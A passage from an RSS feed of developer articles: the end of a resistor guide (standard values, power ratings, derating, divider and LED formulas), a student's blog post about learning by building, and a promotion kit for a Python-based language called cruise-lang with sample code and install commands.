&lt;p&gt;E24 (±5% tolerance) squeezes in 24 values per decade by halving that step:&lt;/p&gt;
&lt;p&gt;10, 11, 12, 13, 15, 16, 18, 20, 22, 24, 27, 30, 33, 36, 39, 43, 47, 51, 56, 62, 68, 75, 82, 91.&lt;/p&gt;
&lt;p&gt;That is why 47 Ω exists: it is the E12/E24 value nearest a &quot;round&quot; 50, and the geometric spacing guarantees that no matter which value you need, a standard part is close enough that tolerance absorbs the rest.&lt;/p&gt;
&lt;p&gt;The practical takeaway: when a design calls for &quot;about 5 kΩ,&quot; you reach for the standard 4.7 kΩ or 5.1 kΩ, not a custom 5.00 kΩ part. Standard values are cheaper, always in stock, and what every calculator and simulator assumes.&lt;/p&gt;
&lt;h3 id=&quot;power-ratings-and-tolerance-the-specs-that-actually-burn&quot;&gt;Power ratings and tolerance: the specs that actually burn&lt;/h3&gt;
&lt;p&gt;This is the section most thin guides skip — and the one that determines whether your circuit works next week or smells like burnt plastic tomorrow.&lt;/p&gt;
&lt;h4 id=&quot;wattage&quot;&gt;Wattage&lt;/h4&gt;
&lt;p&gt;Every resistor has a power rating in watts (W). The common through-hole sizes are 1/4 W (0.25 W), 1/2 W (0.5 W), 1 W, and up into the many-watt &quot;power resistor&quot; range. The rating is the maximum heat the part can shed into still air without overheating.&lt;/p&gt;
&lt;p&gt;Three formulas tell you how much power a resistor is actually dissipating. They are all the same idea, just solved for what you happen to know:&lt;/p&gt;
&lt;blockquote&gt;&lt;p&gt;P = I² × R · P = V² / R · P = V × I&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Worked example. Put a 220 Ω resistor straight across a 5 V supply. Using P = V² / R: 25 / 220 ≈ 0.114 W. That is 114 mW, comfortably under a 1/4 W part's 250 mW limit. Safe.&lt;/p&gt;
&lt;p&gt;Now try a 10 Ω resistor across the same 5 V rail: 25 / 10 = 2.5 W. A 1/4 W resistor would be dissipating ten times its rating — it would glow, then fail. You would need a proper power resistor here. The value was &quot;fine&quot; by Ohm's law; the wattage is what bit you.&lt;/p&gt;
&lt;h4 id=&quot;tolerance-when-5-is-plenty-and-when-it-is-not&quot;&gt;Tolerance: when 5% is plenty and when it is not&lt;/h4&gt;
&lt;p&gt;Tolerance is how far the real resistance can drift from the labeled value. A ±5% 1 kΩ resistor is anywhere from 950 Ω to 1,050 Ω. A ±1% part stays between 990 Ω and 1,010 Ω.&lt;/p&gt;
&lt;p&gt;For most jobs — limiting an LED, pulling up a pin, setting a gain roughly — 5% is perfectly fine and cheaper. Reach for 1% (or better) when the resistor sets a precision reference: a measurement divider, a filter frequency, an ADC scaling network. There, a 5% shift changes the answer you read.&lt;/p&gt;
&lt;h4 id=&quot;temperature-coefficient-tempco-&quot;&gt;Temperature coefficient (tempco)&lt;/h4&gt;
&lt;p&gt;The sixth band on a precision resistor is its temperature coefficient of resistance (TCR), given in ppm/°C — parts per million per degree Celsius. A 100 ppm/°C resistor changes by 100 Ω per million ohms (0.01%) for every 1 °C of temperature shift. Brown's 100 ppm is typical for cheap film; grey's 1 ppm is laboratory-grade. For anything indoors at room temperature, tempco barely matters; for a sensor you leave in the sun or a meter you trust, it is the difference between &quot;close&quot; and &quot;wrong.&quot;&lt;/p&gt;
&lt;h4 id=&quot;the-derating-curve-this-is-the-part-that-saves-parts-&quot;&gt;The derating curve (this is the part that saves parts)&lt;/h4&gt;
&lt;p&gt;A resistor's wattage rating is only valid at a specific ambient temperature — usually 70 °C. Above that, it cannot shed heat as well, so the safe power drops. The standard curve (per IEC 60115-1, and you will see the same shape on every major datasheet) runs at 100% up to 70 °C, then falls in a straight line to zero watts at 155 °C.&lt;/p&gt;
&lt;p&gt;What this means in practice: a resistor rated 1/4 W at room temperature is only good for about half that inside a sealed enclosure that sits at 110 °C. If your circuit runs hot, either pick a bigger package or do the math at the derated value, not the headline number.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://dev-to-uploads.s3.us-east-2.amazonaws.com/uploads/articles/9etm16nmt16ij40mvps5.jpg&quot; alt=&quot;Image description&quot;&gt;&lt;/p&gt;
&lt;h3 id=&quot;types-of-resistors-and-when-to-reach-for-each&quot;&gt;Types of resistors and when to reach for each&lt;/h3&gt;
&lt;p&gt;Not all resistors are the same inside, and the differences show up as noise, precision, and how they behave at temperature and frequency.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://dev-to-uploads.s3.us-east-2.amazonaws.com/uploads/articles/skn968hmuura199ga3z5.jpg&quot; alt=&quot;Image description&quot;&gt;&lt;/p&gt;
&lt;p&gt;Carbon film vs. metal film. For blinking an LED or pulling a pin high, carbon film is all you need and costs a fraction of a cent. Choose metal film when the resistor is in the signal path you actually care about — a preamp, a voltage reference, an ADC front-end — because its lower noise and tighter tempco keep the signal clean.&lt;/p&gt;
&lt;p&gt;Wirewound and high-power. When wattage is the problem, wirewound parts (often ceramic-bodied, sometimes bolted down) are the answer. The catch: that coil of wire acts like a tiny inductor, so avoid them in high-frequency RF paths where a &quot;resistor&quot; that also stores magnetic energy misbehaves.&lt;/p&gt;
&lt;p&gt;Variable resistors. A potentiometer is a three-terminal divider you turn with a knob or screwdriver; a rheostat is the two-terminal version used as a variable resistance. Same component family, different wiring. Use them where a value needs to be set by a human, not baked into the board.&lt;/p&gt;
&lt;h3 id=&quot;the-math-you-will-actually-use&quot;&gt;The math you will actually use&lt;/h3&gt;
&lt;p&gt;Three formulas cover almost everything. You already have Ohm's law and the power equations. Now the circuit configurations.&lt;/p&gt;
&lt;h4 id=&quot;resistors-in-series-and-parallel&quot;&gt;Resistors in series and parallel&lt;/h4&gt;
&lt;p&gt;Series (stacked end to end): resistances simply add.&lt;/p&gt;
&lt;blockquote&gt;&lt;p&gt;R_total = R₁ + R₂ + ...&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Two 10 kΩ resistors in series make 20 kΩ.&lt;/p&gt;
&lt;p&gt;Parallel (side by side, sharing both nodes): the reciprocals add.&lt;/p&gt;
&lt;blockquote&gt;&lt;p&gt;1 / R_total = 1/R₁ + 1/R₂ — or, for just two, R_total = (R₁ × R₂) / (R₁ + R₂)&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Two 10 kΩ resistors in parallel make 5 kΩ. Parallel is how you &quot;split the heat&quot; too: two 1/4 W parts in parallel can handle what one cannot.&lt;/p&gt;
&lt;h4 id=&quot;the-voltage-divider&quot;&gt;The voltage divider&lt;/h4&gt;
&lt;p&gt;Put two resistors in series across a supply and the point between them sits at a fraction of the voltage, set by the ratio:&lt;/p&gt;
&lt;blockquote&gt;&lt;p&gt;V_out = V_in × (R₂ / (R₁ + R₂))&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;With 5 V in and two equal 10 kΩ resistors, the middle sits at 2.5 V. Make R₂ bigger than R₁ and the tap point rises; make it smaller and the tap falls. This is how you step a 5 V sensor signal down to the 3.3 V your microcontroller can read, how you set a comparator's trip point, and how you bias a transistor's base.&lt;/p&gt;
&lt;h4 id=&quot;calculating-an-led-current-limiting-resistor&quot;&gt;Calculating an LED current-limiting resistor&lt;/h4&gt;
&lt;p&gt;An LED is not a resistor; left directly across a supply it draws as much current as it can and burns out. You add a resistor to set the current. The formula:&lt;/p&gt;
&lt;blockquote&gt;&lt;p&gt;R = (V_supply − V_forward) / I&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;where V_forward (Vf) is the LED's rated drop (about 2 V for red, 3.2 V for blue/white) and I is the current you want (typically 20 mA = 0.020 A, but 10 mA is fine for indicator use).&lt;/p&gt;
&lt;p&gt;Example: a red LED (Vf ≈ 2 V) on a 5 V rail, wanting 15 mA: R = (5 − 2) / 0.015 = 200 Ω. The nearest common E12 value is 220 Ω, which gives (5−2)/220 ≈ 13.6 mA — a safe, bright-enough choice.&lt;/p&gt;
&lt;h3 id=&quot;common-mistakes-and-how-to-avoid-a-smoky-resistor-&quot;&gt;Common mistakes (and how to avoid a smoky resistor)&lt;/h3&gt;
&lt;p&gt;A short list of the errors that actually happen on the bench:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Reading red as orange (or vice versa). They sit next to each other in the mnemonic and look similar under warm light. Red is 2 / ×100; orange is 3 / ×1 k. One band off is a 10× value error. Use the calculator, or measure with a meter, when it matters.&lt;/li&gt;
&lt;li&gt;Under-rating the power. A resistor can be the right &lt;em&gt;value&lt;/em&gt; and still overheat. Always run P = V² / R and leave headroom — a 1/4 W part should rarely sit above ~125 mW in real use.&lt;/li&gt;
&lt;li&gt;Forgetting the derating curve. That 1/4 W number is for 70 °C and below. In a hot enclosure, it is not 1/4 W anymore.&lt;/li&gt;
&lt;li&gt;Floating input pins. A pull-up or pull-down resistor only does its job if it is actually connected to the pin &lt;em&gt;and&lt;/em&gt; to the rail. A missing or misplaced resistor is why a button &quot;sometimes&quot; works.&lt;/li&gt;
&lt;li&gt;Mixing up tolerance needs. Do not pay for 1% parts in a LED limiter, and do not cheap out with 5% parts in a measurement divider. Match the tolerance to the job.&lt;/li&gt;
&lt;li&gt;Assuming SMD size = value. A 1206 is not &quot;more ohms&quot; than a 0402; it just handles more watts. The number on the body is the value; the package is the power.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;p&gt;This is a part of the full guide. The original on CircuitForge also includes interactive 3D component viewers, a live color-code calculator, embedded simulator circuits, and a full FAQ section — all of which are easier to use in a browser than in a blog post.&lt;/p&gt;
&lt;p&gt;You can read the complete version with all the interactive tools here: (&lt;a rel=&quot;nofollow&quot; href=&quot;https://luvaai.in/learn/complete-resistor-guide&quot;&gt;https://luvaai.in/learn/complete-resistor-guide&lt;/a&gt;)&lt;/p&gt;
</description>
<category>Articles</category>
<guid isPermaLink="true">https://coderlegion.com/27496/resistors-how-to-read-the-stripes-do-the-math-and-avoid-the-magic-smoke</guid>
<pubDate>Thu, 17 Sep 2026 10:10:48 +0000</pubDate>
</item>
<item>
<title>Building Before I Feel Ready</title>
<link>https://coderlegion.com/27485/building-before-i-feel-ready</link>
<description>&lt;p&gt;There’s a strange feeling that comes with learning technology.&lt;/p&gt;
&lt;p&gt;You can spend hours watching tutorials, reading documentation, taking courses, and solving problems and still feel like you don't know enough to build something real.&lt;/p&gt;
&lt;p&gt;That feeling has followed me for a while.&lt;/p&gt;
&lt;p&gt;I'm studying Electronic and Electrical Engineering, while also learning frontend development, IoT, and embedded systems. One day I'm working with React and TypeScript. The next, I'm looking at microcontrollers, sensors, circuits, or trying to figure out why some piece of hardware isn't behaving the way I expected.&lt;/p&gt;
&lt;p&gt;There is always something else to learn.&lt;/p&gt;
&lt;p&gt;And that's the problem.&lt;/p&gt;
&lt;p&gt;For a while, I kept thinking I needed to learn more before I could seriously start building.&lt;/p&gt;
&lt;p&gt;I eventually realized that was backwards.&lt;/p&gt;
&lt;p&gt;Maybe building is how I learn what I actually need to know.&lt;/p&gt;
&lt;p&gt;&lt;u&gt;&lt;strong&gt;The Trap of Always Learning&lt;/strong&gt;&lt;/u&gt;&lt;/p&gt;
&lt;p&gt;The problem with always preparing is that there is never a clear point where you are “ready.”&lt;/p&gt;
&lt;p&gt;There is always another course to finish.&lt;/p&gt;
&lt;p&gt;Another framework to learn.&lt;/p&gt;
&lt;p&gt;Another concept you don't fully understand.&lt;/p&gt;
&lt;p&gt;Another project that seems slightly beyond your current skill level.&lt;/p&gt;
&lt;p&gt;And because there is always something else to learn, it becomes easy to confuse learning with progress.&lt;/p&gt;
&lt;p&gt;I've fallen into that trap myself.&lt;/p&gt;
&lt;p&gt;I'd jump between frontend development, engineering courses, IoT, programming, and different ideas I wanted to explore. I was learning, but sometimes it felt like I was constantly starting rather than actually moving forward.&lt;/p&gt;
&lt;p&gt;That's when I started changing how I approach learning.&lt;/p&gt;
&lt;p&gt;Instead of asking:&lt;/p&gt;
&lt;p&gt;“What do I need to learn before I can build this?”&lt;/p&gt;
&lt;p&gt;I started asking:&lt;/p&gt;
&lt;p&gt;“What do I need to learn to solve the next problem?”&lt;/p&gt;
&lt;p&gt;That small change makes building much less intimidating.&lt;/p&gt;
&lt;p&gt;You don't need to know everything.&lt;/p&gt;
&lt;p&gt;You need to know enough to take the next step.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&lt;u&gt;Building Forces You to Learn Differently&lt;/u&gt;&lt;/strong&gt;&lt;br&gt;
Tutorials are useful. Courses are useful. Documentation is useful.&lt;/p&gt;
&lt;p&gt;But building something of your own changes the learning experience completely.&lt;/p&gt;
&lt;p&gt;When you're following a tutorial, the path is already laid out. You know what comes next, what code to write, and often what the expected result should look like.&lt;/p&gt;
&lt;p&gt;When you're building your own project, none of that is guaranteed.&lt;/p&gt;
&lt;p&gt;You make decisions.&lt;/p&gt;
&lt;p&gt;You run into errors you have never seen before.&lt;/p&gt;
&lt;p&gt;You search through documentation.&lt;/p&gt;
&lt;p&gt;You try something that doesn't work.&lt;/p&gt;
&lt;p&gt;You change your approach.&lt;/p&gt;
&lt;p&gt;Then, eventually, something works.&lt;/p&gt;
&lt;p&gt;That's where I think some of the most valuable learning happens.&lt;/p&gt;
&lt;p&gt;For example, while working on IoT projects, I’ve had to move between hardware and software, dealing with sensors and microcontrollers on one side and interfaces and data visualization on the other.&lt;/p&gt;
&lt;p&gt;The interesting part isn't knowing every technology beforehand.&lt;/p&gt;
&lt;p&gt;It's figuring out how to connect the pieces.&lt;/p&gt;
&lt;p&gt;And every problem becomes a question:&lt;/p&gt;
&lt;p&gt;Why isn't this working?&lt;/p&gt;
&lt;p&gt;Then you look for the answer.&lt;/p&gt;
&lt;p&gt;That process has taught me something important:&lt;/p&gt;
&lt;p&gt;You don't always need more preparation. Sometimes you need a problem worth solving.&lt;/p&gt;
&lt;p&gt;&lt;u&gt;&lt;strong&gt;I'm Still Figuring Things Out&lt;/strong&gt;&lt;/u&gt;&lt;br&gt;
I don't want this to sound like I suddenly figured everything out.&lt;/p&gt;
&lt;p&gt;I haven't.&lt;/p&gt;
&lt;p&gt;I'm still learning how to write better code, design better interfaces, understand engineering concepts more deeply, and build projects that actually work outside of a tutorial.&lt;/p&gt;
&lt;p&gt;Some projects will fail.&lt;/p&gt;
&lt;p&gt;Some ideas will change halfway through.&lt;/p&gt;
&lt;p&gt;Some things I build will probably look very different a few months from now.&lt;/p&gt;
&lt;p&gt;And I think that's okay.&lt;/p&gt;
&lt;p&gt;I'm sharing more of what I build because I want a record of the process the messy middle- not just the polished result.&lt;/p&gt;
&lt;p&gt;The bugs.&lt;/p&gt;
&lt;p&gt;The things I misunderstood.&lt;/p&gt;
&lt;p&gt;The solutions I eventually found.&lt;/p&gt;
&lt;p&gt;The decisions that worked and the ones that didn't.&lt;/p&gt;
&lt;p&gt;I also want to meet other people who are doing the same thing: learning by building.&lt;/p&gt;
&lt;p&gt;Because something is motivating about seeing someone else struggle through a problem, solve it, and then share what they learned.&lt;/p&gt;
&lt;p&gt;That's the kind of developer and engineer I want to become.&lt;/p&gt;
&lt;p&gt;Not someone who knows everything.&lt;/p&gt;
&lt;p&gt;Someone who keeps building, keeps learning, and knows how to figure things out.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&lt;u&gt;What I'm Building Now&lt;/u&gt;&lt;/strong&gt;&lt;br&gt;
Right now, I'm exploring the space where software and hardware meet.&lt;/p&gt;
&lt;p&gt;On the software side, I'm building with technologies like React and TypeScript, learning how to create interfaces that are not just functional but actually enjoyable to use.&lt;/p&gt;
&lt;p&gt;On the hardware side, I'm experimenting with microcontrollers, sensors, and IoT projects. That means dealing with things that don't always behave exactly as expected—which is a pretty effective way to learn.&lt;/p&gt;
&lt;p&gt;I'm also studying Electronic and Electrical Engineering, so I'm constantly discovering connections between what I learn in class and what I can actually build.&lt;/p&gt;
&lt;p&gt;That's probably what interests me most.&lt;/p&gt;
&lt;p&gt;A web application doesn't have to exist completely separately from the physical world.&lt;/p&gt;
&lt;p&gt;A sensor can collect data.&lt;/p&gt;
&lt;p&gt;A microcontroller can process it.&lt;/p&gt;
&lt;p&gt;A backend can move it somewhere useful.&lt;/p&gt;
&lt;p&gt;And a frontend can turn that data into something a person can actually understand and interact with.&lt;/p&gt;
&lt;p&gt;There's a lot I still don't know about all of this.&lt;/p&gt;
&lt;p&gt;But that's exactly why I'm building.&lt;/p&gt;
&lt;p&gt;I want to see how far I can go by learning one problem at a time.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&lt;u&gt;So, What Now?&lt;/u&gt;&lt;/strong&gt;&lt;br&gt;
I don't have a perfectly defined roadmap.&lt;/p&gt;
&lt;p&gt;And honestly, I'm starting to think that's okay.&lt;/p&gt;
&lt;p&gt;For now, I want to keep building projects, documenting what I learn, and gradually getting better at connecting the different things I'm interested in.&lt;/p&gt;
&lt;p&gt;Some posts here will probably be about frontend development.&lt;/p&gt;
&lt;p&gt;Others might be about IoT, embedded systems, engineering concepts, or something completely different that I happen to be exploring.&lt;/p&gt;
&lt;p&gt;I also want to share the parts that don't usually make it into portfolios—the debugging, the mistakes, the confusion, and the small breakthroughs that make a project finally work.&lt;/p&gt;
&lt;p&gt;Maybe someone reading this is also stuck in the “I'm not ready yet” phase.&lt;/p&gt;
&lt;p&gt;If that's you, I'm learning the same lesson myself:&lt;/p&gt;
&lt;p&gt;You don't have to wait until you know everything.&lt;/p&gt;
&lt;p&gt;Start with what you know.&lt;/p&gt;
&lt;p&gt;Build something.&lt;/p&gt;
&lt;p&gt;When you hit a problem, learn what you need to solve it.&lt;/p&gt;
&lt;p&gt;Then build again.&lt;/p&gt;
&lt;p&gt;That's what I'm going to do.&lt;/p&gt;
&lt;p&gt;Build before I'm ready. Learn along the way. And keep going.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&lt;u&gt;I'm Just Getting Started&lt;/u&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;This is my first post on DEV.to, and I think it should start here.&lt;/p&gt;
&lt;p&gt;I'm not writing because I have everything figured out. I'm writing because I want to document the process of figuring things out.&lt;/p&gt;
&lt;p&gt;I'll be sharing projects, experiments, lessons, mistakes, and whatever interesting problems I run into along the way.&lt;/p&gt;
&lt;p&gt;If you're also learning to code, studying engineering, building projects, or trying to figure out how all these pieces fit together, maybe we can learn from each other.&lt;/p&gt;
&lt;p&gt;For now, I'm going to keep building.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;One project. One problem. One lesson at a time.&lt;/em&gt;&lt;/p&gt;
</description>
<category>Articles</category>
<guid isPermaLink="true">https://coderlegion.com/27485/building-before-i-feel-ready</guid>
<pubDate>Thu, 17 Sep 2026 08:41:43 +0000</pubDate>
</item>
<item>
<title> CRUISE-LANG (v0.4.1) DEV ARTICLES &amp; PROMOTION KIT ✨</title>
<link>https://coderlegion.com/27298/cruise-lang-v0-4-1-dev-articles-promotion-kit</link>
<description>&lt;h2 id=&quot;cruise-lang-v0-4-1-dev-articles-amp-promotion-kit&quot;&gt;CRUISE-LANG (v0.4.1) DEV ARTICLES &amp;amp; PROMOTION KIT&lt;/h2&gt;
&lt;hr&gt;
&lt;h3 id=&quot;1-dev-to-medium-hashnode-long-form-article-&quot;&gt;1. DEV.TO / MEDIUM / HASHNODE LONG-FORM ARTICLE ✍️&lt;/h3&gt;
&lt;hr&gt;
&lt;h4 id=&quot;building-cruise-how-i-created-an-ai-ready-programming-language-in-python&quot;&gt;Building Cruise: How I Created an AI-Ready Programming Language in Python&lt;/h4&gt;
&lt;p&gt;Ever wondered what it takes to build a programming language from scratch that natively handles AI tensors, automatic differentiation, and desktop GUIs? &lt;/p&gt;
&lt;p&gt;I created &lt;strong&gt;Cruise (&lt;code&gt;cruise-lang&lt;/code&gt;)&lt;/strong&gt;, a lightweight, high-level programming language built in Python with a custom Lexer, AST Parser, PyTorch tensor calculus, and a built-in package manager! ⚡&lt;/p&gt;
&lt;hr&gt;
&lt;h4 id=&quot;-why-build-cruise-&quot;&gt;✨ Why Build Cruise?&lt;/h4&gt;
&lt;p&gt;Many modern languages are either too verbose for quick scripting or lack native abstractions for tensor calculus and deep learning workflows. Cruise was engineered to solve this:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Human-Readable:&lt;/strong&gt; Zero boilerplate with English-like syntax (let x be 10, 3 times write(...)).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Native AI Calculus:&lt;/strong&gt; Deep learning tensors and autograd derivatives out of the box.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Built-in Package Manager (CPM):&lt;/strong&gt; One-command package downloads (cruise install ).&lt;/li&gt;
&lt;li&gt;️ &lt;strong&gt;Zero-Config GUIs:&lt;/strong&gt; Create desktop app windows and button handlers in single calls.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;REST API Suite:&lt;/strong&gt; Direct JSON HTTP requests with fetch() and post().&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h4 id=&quot;-code-showcase&quot;&gt;️ Code Showcase&lt;/h4&gt;
&lt;h3 id=&quot;1-variable-flexibility-amp-fast-automation-loops-&quot;&gt;1. Variable Flexibility &amp;amp; Fast Automation Loops &lt;/h3&gt;
&lt;h2 id=&quot;flexible-variable-assignments&quot;&gt;Flexible variable assignments&lt;/h2&gt;
&lt;p&gt;let name = &quot;Cruise&quot;&lt;br&gt;
let version be 0.4&lt;br&gt;
total_users = 1000&lt;/p&gt;
&lt;h2 id=&quot;single-line-automation-loops&quot;&gt;Single-line automation loops&lt;/h2&gt;
&lt;p&gt;3 times write(&quot;Welcome to &quot; + name + &quot; v&quot; + version + &quot;! &quot;)&lt;/p&gt;
&lt;h3 id=&quot;2-pytorch-tensor-calculus-amp-optimizers-&quot;&gt;2. PyTorch Tensor Calculus &amp;amp; Optimizers &lt;/h3&gt;
&lt;h2 id=&quot;initialize-tensors-with-autograd-enabled&quot;&gt;Initialize tensors with autograd enabled&lt;/h2&gt;
&lt;p&gt;let w = tensor([2.0, 4.0], true)&lt;br&gt;
let x = tensor([1.0, 3.0], true)&lt;br&gt;
let y = (w * x) + 1.0&lt;/p&gt;
&lt;h2 id=&quot;initialize-adam-sgd-optimizers-directly&quot;&gt;Initialize Adam / SGD optimizers directly&lt;/h2&gt;
&lt;p&gt;let optimizer = opt_adam([w], 0.01)&lt;/p&gt;
&lt;p&gt;write(&quot;Calculated Tensor:&quot;)&lt;br&gt;
write(y)&lt;/p&gt;
&lt;h3 id=&quot;3-interactive-desktop-gui-in-5-lines-&quot;&gt;3. Interactive Desktop GUI in 5 Lines ️&lt;/h3&gt;
&lt;p&gt;fn on_click():&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;write(&quot;Model training started! ⚡&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;end&lt;/p&gt;
&lt;p&gt;gui_window(&quot;Cruise AI App&quot;, &quot;Run Model&quot;, on_click)&lt;/p&gt;
&lt;h3 id=&quot;4-rest-api-communication-&quot;&gt;4. REST API Communication &lt;/h3&gt;
&lt;p&gt;let github_data = fetch(&quot;&lt;a rel=&quot;nofollow&quot; href=&quot;https://api.github.com&quot;&gt;https://api.github.com&lt;/a&gt;&quot;)&lt;br&gt;
write(&quot;GitHub Status:&quot;)&lt;br&gt;
write(github_data)&lt;/p&gt;
&lt;hr&gt;
&lt;h4 id=&quot;getting-started&quot;&gt;Getting Started&lt;/h4&gt;
&lt;p&gt;Install Cruise directly from PyPI:&lt;br&gt;
$ pip install --upgrade cruise-lang&lt;/p&gt;
&lt;p&gt;Start the interactive REPL shell:&lt;br&gt;
$ cruise&lt;/p&gt;
&lt;p&gt;Or run any .cru or .crui script file:&lt;br&gt;
$ cruise main.cru&lt;/p&gt;
&lt;hr&gt;
&lt;h4 id=&quot;project-links-amp-community&quot;&gt;Project Links &amp;amp; Community&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;GitHub Repo: &lt;a rel=&quot;nofollow&quot; href=&quot;https://github.com/manjas-developer/Cruise&quot;&gt;https://github.com/manjas-developer/Cruise&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;PyPI Package: &lt;a rel=&quot;nofollow&quot; href=&quot;https://pypi.org/project/cruise-lang/&quot;&gt;https://pypi.org/project/cruise-lang/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Official Website &amp;amp; 0–100 Docs: &lt;a rel=&quot;nofollow&quot; href=&quot;https://manjas-developer.github.io/Cruise-Website/&quot;&gt;https://manjas-developer.github.io/Cruise-Website/&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h4 id=&quot;support-my-work&quot;&gt;Support My Work&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;Indian Users Support Here: &lt;a rel=&quot;nofollow&quot; href=&quot;https://buymeachai.in/manjasanand08&quot;&gt;https://buymeachai.in/manjasanand08&lt;/a&gt; ☕&lt;/li&gt;
&lt;li&gt;International Users Support Here: &lt;a rel=&quot;nofollow&quot; href=&quot;https://throne.com/manjas-developer/item/d83a6389-fc12-4d64-a4e1-cf4dc4d1dc45&quot;&gt;https://throne.com/manjas-developer/item/d83a6389-fc12-4d64-a4e1-cf4dc4d1dc45&lt;/a&gt; &lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;================================================================================&lt;/p&gt;
&lt;h2 id=&quot;-2-reddit-post-r-python-r-programminglanguages-r-machinelearning-&quot;&gt; 2. REDDIT POST (r/Python, r/programminglanguages, r/MachineLearning)&lt;/h2&gt;
&lt;p&gt;Title: Cruise – An AI-ready, tensor-based programming language built in Python (v0.4.1) ⚡&lt;/p&gt;
&lt;p&gt;Hey everyone! &lt;/p&gt;
&lt;p&gt;I've been building Cruise (cruise-lang), an open-source interpreted programming language designed to bridge the gap between human-readable domain scripting and native PyTorch matrix tensor calculus.&lt;/p&gt;
&lt;h4 id=&quot;key-features-&quot;&gt;Key Features:&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;Complete AST Engine: Custom recursive descent parser &amp;amp; tokenizer with scoped memory frames.&lt;/li&gt;
&lt;li&gt;Deep Learning Native: Built-in autograd tensor calculus (tensor([...], true)), loss functions (mse_loss), activations (relu, sigmoid), and optimizers (opt_adam, opt_sgd).&lt;/li&gt;
&lt;li&gt;Clean Syntax: Supports single-line '3 times ', 'let x be 5', and modular 'fn ... end' blocks.&lt;/li&gt;
&lt;li&gt;Package Manager (CPM): Built-in CLI package installer via 'cruise install '.&lt;/li&gt;
&lt;li&gt;️ Tkinter GUIs: Zero-boilerplate desktop window generation with button callbacks (gui_window).&lt;/li&gt;
&lt;li&gt;HTTP Suite: Built-in fetch(url) and post(url, data) with automatic JSON decoding.&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id=&quot;quick-test-drive-&quot;&gt;Quick Test Drive:&lt;/h4&gt;
&lt;p&gt;$ pip install --upgrade cruise-lang&lt;br&gt;
$ cruise&lt;/p&gt;
&lt;p&gt;Cruise REPL session:&lt;br&gt;
cruise&amp;gt; let weights = tensor([0.5, 1.5], true)&lt;br&gt;
cruise&amp;gt; let optimizer = opt_adam([weights], 0.01)&lt;br&gt;
cruise&amp;gt; write(weights * 2.0)&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;PyPI: &lt;a rel=&quot;nofollow&quot; href=&quot;https://pypi.org/project/cruise-lang/&quot;&gt;https://pypi.org/project/cruise-lang/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;GitHub: &lt;a rel=&quot;nofollow&quot; href=&quot;https://github.com/manjas-developer/Cruise&quot;&gt;https://github.com/manjas-developer/Cruise&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Docs &amp;amp; 0-100 Tutorial: &lt;a rel=&quot;nofollow&quot; href=&quot;https://manjas-developer.github.io/Cruise-Website/&quot;&gt;https://manjas-developer.github.io/Cruise-Website/&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Feedback on the AST architecture and tensor bindings is warmly welcomed! &lt;/p&gt;
&lt;p&gt;================================================================================&lt;/p&gt;
&lt;h2 id=&quot;-3-hacker-news-show-hn-post&quot;&gt;⚡ 3. HACKER NEWS (SHOW HN) POST&lt;/h2&gt;
&lt;p&gt;Title: Show HN: Cruise – An AI-ready, tensor-based programming language in Python&lt;/p&gt;
&lt;p&gt;URL / Text:&lt;br&gt;
Hey HN! I built Cruise (cruise-lang), a lightweight programming language featuring an AST parser, lexer, PyTorch tensor calculus, CPM package manager, HTTP suite, and desktop GUI tools.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;PyPI: &lt;a rel=&quot;nofollow&quot; href=&quot;https://pypi.org/project/cruise-lang/&quot;&gt;https://pypi.org/project/cruise-lang/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;GitHub: &lt;a rel=&quot;nofollow&quot; href=&quot;https://github.com/manjas-developer/Cruise&quot;&gt;https://github.com/manjas-developer/Cruise&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Interactive Docs: &lt;a rel=&quot;nofollow&quot; href=&quot;https://manjas-developer.github.io/Cruise-Website/&quot;&gt;https://manjas-developer.github.io/Cruise-Website/&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Install via: pip install --upgrade cruise-lang&lt;/p&gt;
&lt;p&gt;Key design goals:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Readable English-like syntax without syntactic bloat (let x be 10, 3 times write(&quot;Hi&quot;)).&lt;/li&gt;
&lt;li&gt;First-class PyTorch autograd tensors and optimizers (opt_adam, opt_sgd).&lt;/li&gt;
&lt;li&gt;Zero-configuration tooling with a built-in package manager and desktop GUI builder.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Would love your thoughts on the interpreter architecture and language design!&lt;/p&gt;
&lt;p&gt;================================================================================&lt;/p&gt;
